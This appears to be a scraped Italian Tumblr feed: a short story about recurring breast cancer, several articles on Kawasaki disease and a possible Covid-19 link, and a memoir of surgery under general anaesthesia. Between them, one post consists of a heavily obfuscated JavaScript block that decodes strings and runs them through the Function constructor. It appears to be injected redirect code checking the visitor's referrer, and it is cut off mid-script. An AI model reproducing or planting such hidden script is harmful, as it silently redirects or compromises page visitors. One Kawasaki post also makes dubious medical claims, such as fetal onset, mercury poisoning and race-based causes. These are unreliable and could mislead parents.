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il dottore mi guardò profondamente per qualche istante, una ruga solcava la glabella, sentii che quasi sicuramente aveva la stessa espressione tutte le volte che doveva dare una brutta notizia, come a voler dosare le parole per renderle meno dolorose, come se dopo tanti anni di esperienza sperasse esistesse ancora un modo per farlo. «Lo dica e basta, dottore. Tanto lo so già.» «Lei ha il cancro al seno, le metastasi si sono diffuse ai linfonodi», erano passati dieci anni dall'ultima volta che avevo sentito quella parola associata alla mia persona, dieci anni durante i quali avevo cancellato ogni ricordo della malattia, bruciato ogni fotografia, buttato via ogni bandana, mi erano cresciuti i capelli, adesso mentre l'oncologo mi parlava di cure, operazioni, esami da fare, io li toccavo svogliatamente pensando già al momento della caduta. Mi sorpresi a sorridere, pensando al fatto che mai in dieci anni avevo alzato le braccia al cielo dicendo:«ho vinto», ed infatti non avevo vinto. Il cancro dorme. Per mesi, nel mio caso per anni, ma è sempre lì, non te ne liberi, diventa parte di te o forse tu diventi parte di lui, e poi un giorno si sveglia e decide che ha fame, qualcosa dovrà pur mangiare, e allora si nutre di te. E poi sta a te, lottare o lasciarti mangiare, combattere o arrenderti. Il cancro dorme, ma non muore mai, neanche se muori tu. È come un'altra persona che vive con te, come tuo marito con il quale hai dormito trent'anni o tua madre, che ti è stata vicina per la maggior parte della tua vita, che era con te anche quando fisicamente non c'era. La persona di fronte a me continua a parlare di quanto bisogna reagire, mi consiglia dei gruppi di sostegno, di stare tanto tempo con la mia famiglia, come se avessi bisogno di tutte queste cose. Nella mia mente recupero le bandane, c'è una in particolare che ho sempre indossato, rosso, il colore del fuoco che mai avrebbe dovuto spegnersi dentro di me. La indosso, sono già pronta per la guerra.
@sognodifarelascrittrice
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scienza-magia · 4 years
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Aumento di casi della malattia di Kawasaki nelle zone affette da Covid-19
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Covid-19, c’è un legame tra il virus e la sindrome di Kawasaki nei bambini? A Bergamo c'è stato un vero e proprio “boom”: in soli due mesi dallo scoppio dell'epidemia si sarebbero registrati tanti pazienti bambini o adolescenti quanti se ne osservavano mediamente in diversi anni. La stessa evidenza si è registrata anche in Gran Bretagna Infiammazione. Giratela come si vuole, ma ormai sembra proprio la risposta dell'organismo, in alcuni casi davvero eccesiva tanto da diventare essa stessa malattia, la chiave per comprendere la gravità dell'infezione da Sars-CoV-2. E proprio una “superinfiammazione” sarebbe alla base di quanto si sta osservando, pur se fortunatamente in modo assai raro, nei bambini che in qualche modo sono entrati in contatto con il virus, magari anche senza sviluppare alcun sintomo o con disturbi sfumati legati a Covid-19. Il problema che sta emergendo sempre di più, specie nelle aree in cui ci sono stati moltissimi casi d'infezione, si chiama vasculite. Tradotto in termini semplici, è un'infiammazione dei vasi sanguigni. Ed è un quadro che ricorda molto da vicino quello di una patologia rara, la sindrome di Kawasaki – così definita dal nome del ricercatore giapponese che l'ha identificata nel 1967 – legata proprio ai postumi di un'infezione.
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Le cifre testimoniano l'attenzione che la comunità scientifica sta dedicando al tema e la necessità di far luce su questa associazione, che certo appare chiaramente dalle indicazioni epidemiologiche. A Bergamo, ad esempio c'è stato un vero e proprio “boom”, ovviamente relativo, di casi. Stando alle cifre, infatti, in soli due mesi dallo scoppio dell'epidemia si sarebbero registrati tanti pazienti bambini o adolescenti quanti se ne osservavano mediamente in diversi anni. Dall'altra parte della Manica, peraltro, il Guardian segnala che il National Health System (Nhs) riporta una crescita nelle ultime settimane dei casi d'infiammazione che hanno portato al ricovero in terapia intensiva bambini di diverse età nel Regno Unito. Insomma: il Sars-CoV-2 nasconde ancora molti dei suoi aspetti, in termini di manifestazione di malattia acuta e a distanza. E pur se rimane vero che i bambini appaiono maggiormente protetti dall'infezione, tanto da non sviluppare sintomi clinici chiari in molti casi, è altrettanto innegabile che i tasselli nel puzzle delle conoscenze aumentano ogni giorno, anche sul fronte dell'età pediatrica. Partiamo però dalle certezze. «L'esperienza cinese e i dati dell'epidemia da Covid-19 in Italia hanno evidenziato che i bambini sono meno colpiti e hanno un rischio più basso di sviluppare le gravi complicanze legate all'infezione, prima fra tutte la polmonite interstiziale – spiega Angelo Ravelli, professore ordinario e direttore della Clinica Pediatrica e Reumatologia dell'Istituto Giannina Gaslini di Genova -. Nelle ultime settimane è stato, tuttavia, segnalato, in particolar modo nelle zone del paese più colpite dall'epidemia da Sars-CoV-2, un aumento della frequenza di bambini affetti da malattia di Kawasaki». Sul fronte dei numeri anche le cifre raccolte dal nosocomio pediatrico genovese sono sicuramente interessanti: sono stati osservati 5 casi nelle ultime 3-4 settimane, a fronte di una incidenza abituale della malattia di 7-8 casi all'anno. La malattia di Kawasaki è una vasculite sistemica che si osserva soltanto nell'età pediatrica e colpisce soprattutto i bambini più piccoli, spesso i lattanti. Si manifesta con febbre elevata, rash cutaneo che ricorda in qualche modo quello del morbillo, ingrossamento delle ghiandole linfatiche sotto la mandibola, morbilliforme, ingrandimento dei linfonodi angolo-mandibolari, congiuntivite, fissurazione delle labbra e edema delle mani e dei piedi. «La sua complicanza principale è rappresentata dallo sviluppo di aneurismi coronarici che, quando persistenti e di grandi dimensioni, possono esporre i soggetti affetti all'insorgenza di infarto del miocardio nell'età giovane adulta – fa sapere Ravelli -. La terapia normalmente si basa sulla somministrazione di immunoglobuline per via endovenosa a dosaggio elevato. È stato dimostrato che l'esecuzione di questo trattamento entro i primi dieci giorni di malattia riduce la frequenza di aneurismi coronarici dal 25% nei casi non trattati al 4-6 per cento». Attenzione però: fino a questo punto stiamo parlando della malattia di Kawasaki “classica”. In tempi di Covid-19, però, si ha la sensazione che qualcosa stia mutando. «In alcuni centri pediatrici italiani è stato recentemente notato che in una percentuale non trascurabile di casi la malattia si è presentata con un quadro clinico non tipico e ha manifestato resistenza al trattamento sopracitato e tendenza all'evoluzione verso una sindrome da attivazione macrofagica (particolare quadro che si lega all'eccesso d'infiammazione) o una sindrome dello shock tossico, che hanno richiesto trattamenti aggressivi e, non raramente, il ricovero in terapia intensiva – riprende l'esperto -. Questa complicanza ha caratteristiche analoghe alla cosiddetta sindrome da tempesta citochinica (temine che ormai fa parte del lessico dell'infezione) osservata in molti pazienti con polmonite da Covid-19». Tra le curiosità da segnalare c'è che non sempre il tampone ha consentito di identificare con certezza i pochi – vale sempre la pena di ricordarlo - bambini che hanno poi sviluppato il quadro. Infatti se è vero che una quota di questi bambini con malattia di Kawasaki ha presentato un tampone positivo per il virus Sars-COV-2 o ha avuto contatti con pazienti affetti, è altrettanto innegabile che alcuni di questi poi sono risultati positivi per la ricerca di anticorpi che segnalano l'avvenuta infezione, pur se con tamponi negativi. A questo punto, per la scienza, c'è un'ulteriore questione cui rispondere. «Non è chiaro se il virus sia direttamente coinvolto nello sviluppo di questi casi di malattia di Kawasaki o se le forme che si stanno osservando rappresentino una patologia sistemica con caratteristiche simili a quelle della malattia di Kawasaki, ma secondaria all'infezione – fa sapere Ravelli -. Ciò nonostante, l'elevata incidenza di queste forme in zone ad alta endemia di infezione da Sars-CoV-2 e l'associazione con la positività dei tamponi o della sierologia, suggerisce che l'associazione non sia casuale. Queste osservazioni potrebbero, quindi, indicare che il Coronavirus sia implicato nell'innesco della malattia di Kawasaki e avvalorare, conseguentemente, l'ipotesi, costantemente adombrata nei cinquant'anni successivi alla sua prima descrizione, ancorché mai dimostrata, che questa malattia sia causata da un agente infettivo». Insomma, c'è ancora molto da capire. E soprattutto occorre aumentare le conoscenze. Per questo motivo il Gruppo di Studio di Reumatologia della Società Italiana di Pediatria ha deciso di allertare la comunità pediatrica italiana sulla possibile insorgenza di una malattia di Kawasaki in bambini affetti da Covid-19 e di promuovere una raccolta dati di questi casi con l'obiettivo di caratterizzarne le manifestazioni cliniche, le terapie eseguite e l'evoluzione e indagare il possibile ruolo causale del virus Sars-Cov-2. Read the full article
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wdonnait · 4 years
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Malattia di Kawasaki : danni , ricadute e vaccini
Nuovo post pubblicato su https://www.wdonna.it/malattia-di-kawasaki-danni-ricadute-e-vaccini/108466?utm_source=TR&utm_medium=Tumblr&utm_campaign=108466
Malattia di Kawasaki : danni , ricadute e vaccini
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La malattia di Kawasaki è una specie di vasculite febbrile a decorso acuto, frequente negli infanti.
Nello specifico, il morbo colpisce il feto e i bambini fino all’età di 4 anni, per poi quasi sempre regredire in maniera spontanea.
Inoltre, il morbo di Kawasaki include le arterie e proprio per tale motivo si considera una malattia autoimmunitaria.
In termini di statistiche, tale patologia è molto diffusa in Giappone, forse per una questione di razza asiatica. Tanto che si registrano pochi casi tra i bambini appartenenti alla razza caucasica o di colore.
Tra l’altro, la malattia di Kawasaki risulta essere abbastanza diffusa tra i bambini di sesso maschile e si presenta in particolar modo durante la stagione invernale-primaverile.
Le motivazioni ben precise della predisposizione restano un mistero. Infine, si evince che:
La maggior parte dei soggetti affetti dal morbo di Kawasaki ha un età inferiore ai 4 anni
Il 50% dei bambini possiede meno di 2 anni
Una piccola percentuale dei malati di Kawasaki, lo contraggono nei primi mesi di vita
Malattia di Kawasaki cause
Come vi abbiamo accennato poco fa, è difficile comprendere nel dettaglio quali possano essere le cause scatenanti della malattia di Kawasaki.
A prescindere dalla razza di appartenenza, è probabile che si diffonda per uno dei seguenti fattori:
Infezioni di vario tipo
Intossicazione da mercurio o altre sostanze
Allergie alimentari
Patologie correlate
Virus (Episten-Barr, stafilococchi, steptococchi ecc)
E tanto altro ancora…
Malattia di Kawasaki sintomi
Ma quali sono i sintomi della malattia di Kawasaki?
Solitamente, essa si manifesta attraverso tre step: la fase iniziale, la fase sub-acuta e la fase di convalescenza.
Il primo step è rappresentato dalla febbre alta. Ciò che preoccupa maggiormente di tale aspetto è la durata (che può superare le due-tre settimane).
Di conseguenza, il bambino va incontro ai seguenti sintomi:
Senso di irritabilità
Insufficienza vascolare sistemica
Anoressia
Macchie cutanee
Rossore e prurito
Versamento pleurico
Mucose ed eritemi
Da ciò è possibile dedurre che si tratti di una situazione difficile da gestire, specialmente per i genitori.
Una volta passata la febbre, per alcuni bambini il calvario potrebbe continuare attraverso tali manifestazioni:
Lesioni vascolari
Disturbi cardiaci
Ingrossamento dei linfonodi
Eccesso di piastrine nel sangue (trombocitosi)
Nei casi più gravi (ed allo stesso tempo rari), la malattia di kawasaki può portare alla morte per via di un infarto al miocardio o meningite fulminante.
Da ciò possiamo ben dedurre che tale morbo non va affatto sottovalutato. Però, va anche detto che le complicazioni sopra citate avvengono secondo percentuali molto basse.
Malattia di Kawasaki diagnosi
Per poter comprendere al meglio tutti i fattori correlati, risulta fondamentale effettuare una diagnosi accurata.
Di solito, la procedura è soltanto clinica e il medico esperto nel settore sarà in grado di individuare tutte le cause scatenanti e i sintomi del bambino affetto da Kawasaki.
Pertanto, sarà necessario sottoporsi ad una serie di esami diagnostici, come ad esempio quello oftalmoscopico o delle semplici ecocardiografie o ecocardiogramma.
Malattia di Kawasaki cura
A questo punto ci si chiede: come si cura la malattia di Kawasaki?
In linea generale, il trattamento si basa sulla somministrazione di alcuni farmaci (ad esempio l’aspirina), associata a delle immunoglobuline per endovena.
Nel caso in cui la terapia non dovesse risultare efficace, si potrebbe procedere con l’assunzione di un farmaco molto più potente, chiamato infliximab. Quest’ultimo, si utilizza spesso per trattare alcune malattie autoimmuni.
Tuttavia, ci teniamo a ribadire che le complicanze risultano essere rare.
In ogni caso, si consiglia sempre di rivolgersi ad un medico e di non procedere in alcun modo con delle cure fai da te.
Se si dovessero infrangere le regole, la situazione potrebbe peggiorare drasticamente, generando dei danni irreversibili per il bambino.
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latinabiz · 4 years
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Allerta Bambini sindrome Kawasaki
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Sindrome di Kawasaki Per dovere di Notizia , da prendere con le dovute cautele , un allerta Bambini per una sindrome di Kawasaki forse correlata al covid19 trovata a Bergamo che è una delle città più colpite dal Coronavirus dove in 20 giorni hanno registrato 6000 decessi , +4000 dello scorso anno, tutti i dati li abbiamo studiati qui . Questa malattia pediatrica che prende il nome dal suo scopritore è una sindrome infiammatoria che interessa le arterie di piccolo e medio calibro e si presenta in neonati e bambini fino agli otto anni. “Non ha un’unica eziologia riconosciuta - spiega il dottor Ciuffreda - E’ un’infiammazione che può interessare le coronarie e può condurre anche all’angina in età pediatrica. Si presenta con febbre alta, non batterica, verosimilmente scatenata da virus che innescano una infiammazione che poi riguarda le arterie”. Qui in Italia è considerata una malattia rara, mentre è più frequente in Estremo Oriente, dove sono presenti cluster, probabilmente per la presenza in loco di alcuni virus endemici di quelle aree, che sembrano attivare la sindrome. “Per capirci - precisa il clinico - qui nella Bergamasca la media è di una decina scarsa di queste sindromi in un anno. Di questa decina annua, solo 2-3 con infiammazioni gravi”. Ora però, in poco più di un mese all’ospedale di Bergamo hanno raggiunto a ieri i 20 casi. “Tutti con sindromi infiammatorie gravi - sottolinea - Ma finora per fortuna tutti completamente ristabiliti dopo una media di quattro-cinque giorni di terapia standard”. IL PRIMO CASO A BERGAMO IL 21 MARZO Tutto è cominciato sabato 21 marzo. “Ero di guardia — ricorda — e mi è arrivato questo bambino di 9 anni dalla zona di Esine con miocardite (infiammazione al cuore, ndr), febbre molto alta e ipossia. Veniva da una zona endemica Covid, anche se aveva tampone negativo, e dall’ecografia abbiamo riscontrato l’ingrossamento di una coronaria”. Le condizioni del bimbo erano preoccupanti. “Aveva un’infiammazione violentissima multiorgano, erano interessati gravemente sia il cuore che i polmoni”. Ma sorprendentemente nel giro di pochi giorni si è completamente ristabilito, con la terapia standard. TUTTI I BIMBI SONO GUARITI VELOCEMENTE “Da quel momento in poi — dice il medico — hanno cominciato ad arrivare in ospedale altri bambini, più piccoli, tutti con sintomi di base identici, tutti con sindrome infiammatoria molto aggressiva”. Fino a giungere alla cifra mai registrata prima di oltre una ventina. Di questi bambini “solo pochi sono risultati positivi al coronavirus, ma tutti provenivano da famiglie con malati Covid”. Di tutti i piccoli pazienti, precisa il dottor Ciuffreda, quattro avevano cointeressamento coronarico e due addirittura son dovuti andare in terapia intensiva, “ma tutti hanno risposto positivamente alle cure e si sono completamente ripresi nel giro di quattro giorni”. Un dato rassicurante, ma anche singolare, “perché di norma da sindromi infiammatorie così gravi i pazienti si riprendevano con andamenti molto più lenti, e quasi sempre restavano con esiti. Invece in questo caso ne sono usciti tutti completamente ristabiliti, senza esiti”. “La conclusione cui siamo arrivati finora è che qui in provincia di Bergamo c’è un cluster di quella che appare essere la sindrome di Kawasaki - spiega il dottor Ciuffreda - e lo abbiamo registrato da quattro settimane in qua, cioè a partire dal momento più acuto dell’epidemia Covid in questa zona”. Il cardiologo pediatrico aggiunge che è stata fatta partire un’allerta per il monitoraggio a tutti i pediatri sul territorio e alla Società Italiana di Reumatologia Pediatrica per segnalare ogni caso, verificare l’ipotesi di una correlazione fra questa sindrome e il Covid-19 e pubblicare infine la ricerca. Sino ad ora le preoccupazioni maggiori legate al coronavirus riguardavano gli anziani, ma se venisse accertata la correlazione con questo grave disturbo pediatrico, si dovrebbe allargare ai bambini lo studio di misure di protezione per una nuova categoria a rischio. LA SINDROME DI KAWASAKI NON E' INFETTIVA e non si trasmette da bambino a bambino. Quali sono i principali sintomi della malattia di Kawasaki? Caratteristicamente la malattia di Kawasaki si presenta con una febbre persistente (durata > 5 giorni) nonostante l’inizio tempestivo di adeguata terapia antibiotica, associata ai seguenti segni e sintomi: Congiuntivite bilaterale senza secrezioni oculari;Infiammazione delle labbra (condizione denominata cheilite e che interessa principalmente gli angoli e i margini labiali),  della mucosa orale e della lingua che assume un aspetto a lampone o a fragola (lingua a fragola) per l’arrossamento e l’ingrossamento  delle papille gustative che appaiono molto evidenti e pronunciate;Gonfiore (edema duro) di mani e piedi, eritema del palmo delle mani e della pianta dei piedi con successiva desquamazione delle dita (dopo 1-3 settimane la pelle inizia a screpolarsi e a sollevarsi in squame );Ingrossamento o più precisamente linfoadenopatia delle stazioni linfonodali laterocervicali (linfonodi della regione laterale collo)Eruzione cutanea che si localizza soprattutto in regione inguinale e può assumere caratteristiche cliniche molto variabili con quadri spesso sovrapponibili a rash cutanei tipici di alcune malattie virali (morbillo, parotite, Rosolia, Mononucleosi infettiva)È possibile un interessamento delle articolazioni  (artrite) delle mani e del bacino, ginocchia, caviglie che appariranno tumefatte, arrossate e dolenti con difficoltà nel movimento nei casi più severi.
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Alcuni sintomi della Sindrome di Kawasaki fondamentale il rapido riconoscimento della malattia e dei suoi sintomi, non sempre facilmente identificabili e talora confusi col morbillo. Read the full article
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riejumoto · 4 years
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,55,56,54,51,48,52,119,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+)[+!+[]+[+[]]]+([]+[]+)[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+)[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+)[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+)[+!+[]]+([]+[]+)[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+)[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[15]+$[15]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+)[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+)[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(++[]+[]+[]+[]+)[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+)[+!+[]]+([![]]+)[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![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spettriedemoni · 6 years
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Sembra passato un secolo
Più di un anno fa ero in ospedale, in una città che non conosco.
Era sotto natale, sicuramente il Natale più strano della mia vita. Mi ricordo i colloqui con il medico che mi spiega come sarebbe stato l'intervento, con l'anestesista, un ragazzo più giovane di me che quasi subito mi ha voluto tranquillizzare suo fatto che non sarebbe stato solo in sala operatoria. Sapevo come si sarebbe svolto l'intervento, me lo aveva spiegato il direttore del reparto, il primario come si chiamava una volta, mi aveva mimato dove avrebbe inciso con il bisturi, mi aveva spiegato che avrebbe spostato l'intestino per raggiungere la zona vicino ai reni dove avrebbe tolto i linfonodi ingrossati vicino alle arterie renali e all'aorta. Mi aveva fatto un disegno mostrandomi dove erano posizionati i linfonodi. Li avrebbe asportati assieme ad altri lì vicino anche se sani, era il miglior modo per tagliare la strada al male. Anestesia totale, intervento a cielo aperto: la laparoscopia era una strada troppo complicata.
Ho sempre avuto paura dell'anestesia totale, è stupido lo so, ma preferisco essere cosciente durante un intervento anche se in realtà credo cambi poco per il paziente.
Dopo una giornata a fare esami in giro per l'ospedale ricordo il colloquio con l'anestesista assieme a mia madre. Mi spiega che mi faranno due anestesie, una classica e un'altra epidurale. La seconda servirà soprattutto dopo l'intervento. L'epidurale sarà fatta con un ago che entrerà tra le vertebre e poi un cateterino entrerà per permettere il passaggio dell'anestetico. Potrò poggiarmi sulla schiena senza problemi. Mi chiede di fargli vedere la gola perché, mi spiega, durante l'intervento sarò intubato: i farmaci che mi inietteranno saranno talmente potenti che il mio cervello dimenticherà di respirare. Sarà importante, dopo l'intervento, tossire se ne sento la necessità perché, mi spiega, verranno espulsi possibili batteri in questo modo. Mi anticipa che non sarà facile perché potrei sentire dolore, ma è importante lo faccia. Mi mette in guardia sul fatto che l'epidurale potrebbe non andare bene e in quel caso si dovrebbe passare a farmaci via endovena e io potrei regolarmi il flusso ma è importante anche che io resista al dolore e che aumenti il flusso del farmaco solo quando è davvero troppo forte. Dentro di me spero riescano a farmi l'epidurale così la regola lui e sto tranquillo.
Il mattino dopo viene un infermiere a prendermi, ho già il mio camice, salgo sulla barella. Sono a digiuno dalla sera prima, solo un lassativo e un the. Nella sala operatoria fa freddo ma il personale è gentile. Ritrovo l'anestesista, c'è il suo collega più anziano che è poi poco più anziano. Cerco di allentare la tensione, mi metto come avevo fatto quando mi hanno fatto la lombare anche se mi spiegano che l'epidurale è un'altra cosa. Non trovano subito dove inserire l'ago. “Ecco”, penso, “dopo le vene difficili anche le vertebre difficili”. Ci mettono un po’, l'anestesista più anziano trova il punto e inserisce il catetere. Posso stendermi sulla schiena senza problemi come mi avevano detto.
Mi hanno detto che possono andarsene circa 8 ore in tutto, un paio per preparare l'anestesia, 4 per l'intervento in sé, altre due per il risveglio. Mi fa sempre paura rimanere incosciente, ma non c'è altra strada. Arriva il primario, scherza, mi dice che quasi quasi mi opera da sveglio. Mi fa posizionare sul tavolo operatorio, studia bene dove mi devo mettere per avere il campo ben illuminato. Parla di una strumentista che dovrà stare lì e che sta per arrivare. Vorrei fare un'altra battuta ma sto zitto. “Ci siamo”, penso. “Lo facciamo davvero, stavolta”. L'infermiere che mi ha portato giù dalla mia stanza prende la mascherina. “Questa è l'aria di Milano” vorrei resistere e rimanere sveglio, mi ripeto di stare tranquillo che andrà tutto bene, poi le voci diventano più lontane e io mi addormento nel sonno senza sogni dell'anestesia.
Quando mi risveglio ho la sensazione siano passati pochi minuti invece è quasi ora di pranzo. Sono passate circa 8 ore. Dove mi trovo? Intorno a me vedo altri pazienti su lettini. Un uomo con un camice scuro sta parlando, è andato tutto bene. Ho una coperta e sono quasi nudo. Sento dell'aria calda: mi hanno infilato un tubo sotto le coperte, un tubo che dall'altra parte ha una stufetta, un coso che sembra un Pinguino DeLonghi. Almeno non sento freddo. Ho un cerotto sull'addome, mi hanno richiuso dopo avermi aperto. Sento un tubicino sulla parte sinistra: è un drenaggio, mi spiega l'uomo col camice scuro. Ho un catetere vescicale, me ne accorgo perché sento come se stessi urinando in quel momento, è una sensazione strana.
